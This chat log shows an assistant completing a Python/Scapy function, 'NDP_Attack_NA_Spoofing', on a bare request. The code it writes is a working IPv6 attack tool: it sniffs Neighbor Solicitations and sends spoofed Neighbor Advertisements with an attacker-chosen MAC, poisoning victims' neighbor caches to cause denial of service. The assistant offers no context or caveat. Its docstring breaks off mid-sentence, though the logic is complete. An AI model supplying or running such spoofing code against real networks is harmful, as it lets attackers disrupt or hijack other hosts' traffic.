human
Complete this python program:
def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False):
assistant
#Here is the Python code you requested.

    """The main purpose of this function is to send fake Neighbor Advertisement
    messages to a victim. As the emission of unsolicited Neighbor Advertisement
    is pretty pointless (from an attacker standpoint) because it will not
    lead to a modification of a victim\s neighbor cache, the function send
    advertisements in response to received NS (NS sent as part of the DAD,
    i.e. with an unspecified address as source, are not considered).
    By default, the fake NA sent to create the DoS uses:
    - as target address the target address found in received NS.
    - as IPv6 source address: the target address
    - as IPv6 destination address: the source IPv6 address of received NS
    message.
    - the mac address of the interface as source (or reply_mac, see below).
    - the source mac address of the received NS as destination macs address
    of the emitted NA.
    - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
    filled with the mac address used as source of the NA.
    Following arguments can be used to change the behavior:
    iface: a specific interface (e.g. "eth0") of the system on which the
    DoS should be launched. If None is provided conf.iface is used.
    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
    Only NS messages received from this source will trigger replies.
    This allows limiting the effects of the DoS to a single target by
    filtering on its mac address. The default value is None: the DoS
    is not limited to a specific mac address.
    tgt_filter: Same as previous but for a specific target IPv6 address for
    received NS. If the target address in the NS message (not the IPv6
    destination address) matches that address, then a fake reply will
    be sent, i.e. the emitter will be a target of the DoS.
    reply_mac: allow specifying a specific source mac address for the reply,
    i.e. to prevent the use of the mac address of the interface. This
    address will also be used in the Target Link-Layer Address option.
    router: by the..."""
    def is_request(req, mac_src_filter, tgt_filter):
        '\n                                Check    if    packet    req    is    a    request\n                                '
        if (not ((Ether in req) and (IPv6 in req) and (ICMPv6ND_NS in req))):
            return 0
        mac_src = req[Ether].src
        if (mac_src_filter and (mac_src != mac_src_filter)):
            return 0
        if (req[IPv6].src == '::'):
            return 0
        tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
        if (tgt_filter and (tgt != tgt_filter)):
            return 0
        dst = req[IPv6].dst
        if in6_isllsnmaddr(dst):
            received_snma = socket.inet_pton(socket.AF_INET6, dst)
            expected_snma = in6_getnsma(tgt)
            if (received_snma != expected_snma):
                print('solicited    node    multicast    @    does    not    match    target    @!')
                return 0
        return 1
    def reply_callback(req, reply_mac, router, iface):
        '\n                                Callback    that    reply    to    a    NS    with    a    spoofed    NA\n                                '
        mac = req[Ether].src
        pkt = req[IPv6]
        src = pkt.src
        tgt = req[ICMPv6ND_NS].tgt
        rep = (Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src))
        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1)
        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
        sendp(rep, iface=iface, verbose=0)
        print(('Reply    NA    for    target    address    %s    (received    from    %s)' % (tgt, mac)))
    if (not iface):
        iface = conf.iface
    if (not reply_mac):
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = ('icmp6    and    not    ether    src    %s' % reply_mac)
    router = ((router and 1) or 0)
    sniff(store=0, filter=sniff_filter, lfilter=(lambda x: is_request(x, mac_src_filter, tgt_filter)), prn=(lambda x: reply_callback(x, reply_mac, router, iface)), iface=iface)